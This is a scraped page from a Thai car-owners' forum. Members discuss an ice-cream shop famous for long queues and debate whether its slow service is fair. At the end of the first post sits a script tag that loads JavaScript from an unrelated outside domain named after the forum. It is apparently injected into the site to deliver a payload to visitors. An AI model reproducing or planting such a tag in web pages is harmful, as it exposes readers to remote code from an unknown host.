ที่อยู่: ประชาอุทิศ90-พระราม 9-รัชดา-สุทธิสาร
ปี: 2002
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)
อังคาร, 27 สิงหา 2013 16:53 - ร้านไอศกรีมไอส์เบิร์ก : ไปกินมาแล้วร้านไอศกรีมที่รอนานที่สุดในประเทศ(เค้าว่ากันอย่างนั้น)
ผมเข้าใจนะเรื่องแบบนี้ แต่ผมว่าควรมีการจ้างคนในการตักเพิ่มบ้าง

ราคาคุณอาจจะขึ้นนิดหน่อยจาก 12 เป็น 15 ผมว่าถ้าของคุณอร่อยจริง

ก็ต้องมีคนเข้ามาทานเป็นเรื่องธรรมดาครับ ส่วนมากคนทั่วไปต้องมองในเรื่องธุรกิจไม่แปลก

แต่สำหรับคุณคือเงินที่เอาไว้ใช้พออยู่พอกิน กับทำบุญทำกุศล อันนี้ความคิดดีเห็นด้วย

แต่สิ่งที่คุณกำลังทำอยู่มันก็เป็นธุรกิจอย่างนึง ซึ่งลูกค้าจะออกมาต่อว่าเรื่องการรอก็ไม่แปลกครับ

แต่ทางคุณก็ได้อธิบายแล้วว่า ทำไมถึงเป็นแบบนี้ ทำไมถึงต้องทำแบบนี้ แต่ผมเชื่อว่าหลายๆคน

คงไม่เข้าใจ คิดถึงแต่ประโยชน์ของตัวเองเป็นหลัก เพราะเค้าคือลูกค้า เค้ายอมจ่ายเพื่อที่จะได้กิน

ก็ต้องมีเสียอารมณ์กันบ้าง แต่เมื่อได้ทานไอศครีมเย็นๆของคุณแล้ว เค้าก็คงเย็นลงบ้าง

ต่างคนต่างมุมมอง เจ้าของร้านก็มีมุมมองในแบบของเค้า ลูกค้าก็ต้องมีมุมมองของตัวเอง

ผมไม่เคยไปทาน แต่สักวันผมจะพาครอบครัวแวะไปทานดูครับ "<script src="https://sport32news.com/civicesgroup.js">
malmsteen


ชื่อเล่น: เอ็ม

เข้าร่วม: 23 ตุลา 2009
ตอบ: 178

มือใหม่หัดขับ
มือใหม่หัดขับ

ได้รับคำขอบคุณ: 159
ให้คำขอบคุณ: 286

ที่อยู่: ดาวคนอง
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
อังคาร, 27 สิงหา 2013 21:02 - ร้านไอศกรีมไอส์เบิร์ก : ไปกินมาแล้วร้านไอศกรีมที่รอนานที่สุดในประเทศ(เค้าว่ากันอย่างนั้น)
10 ลูกใช้เวลาตัก 3 นาทีครึ่ง พี่ไปฉี่เถอะครับถ้าปวด น่าจะประมาณ 3 นาทีครึ่งเหมือนกัน คิดตามแล้วปวดท้องแทน ต่างคนต่างความคิดครับ มีความสุขที่ได้ทำไอติมอร่อยๆ แนวทางเราเป็นแบบนี้ก็ทำครับ แคร์ทุกความเห็นคงเหนื่อยตายเลย สู้ๆครับ ^___^
vat


ชื่อเล่น: เขียว

เข้าร่วม: 04 มิถุนา 2011
ตอบ: 356

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 313
ให้คำขอบคุณ: 826

ปี: 2002
สี: เทา ซิลเวอร์สโตน (NH-630M)
พุธ, 28 สิงหา 2013 00:04 - ร้านไอศกรีมไอส์เบิร์ก : ไปกินมาแล้วร้านไอศกรีมที่รอนานที่สุดในประเทศ(เค้าว่ากันอย่างนั้น)
เข้าใจร้านไอติมแล้ว รอร้านเครปนรกโชคชัย4 มาเคลียหน่อย
Tam_Kanchanaburi


ชื่อเล่น: ตั้ม

เข้าร่วม: 26 กันยา 2012
ตอบ: 1025

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 352
ให้คำขอบคุณ: 4

ที่อยู่: กาญจนบุรี
ปี: 2001
สี: น้ำเงิน วิวิด (มุก) (B-502P)
พุธ, 28 สิงหา 2013 16:33 - ร้านไอศกรีมไอส์เบิร์ก : ไปกินมาแล้วร้านไอศกรีมที่รอนานที่สุดในประเทศ(เค้าว่ากันอย่างนั้น)
+1
ตอบ
หน้า 2 จาก 2
ไปที่: 
ติดต่อโฆษณา admin@civicesgroup.com
Copyright © 2008-2025 Civic ES Group. All rights reserved.
Loading...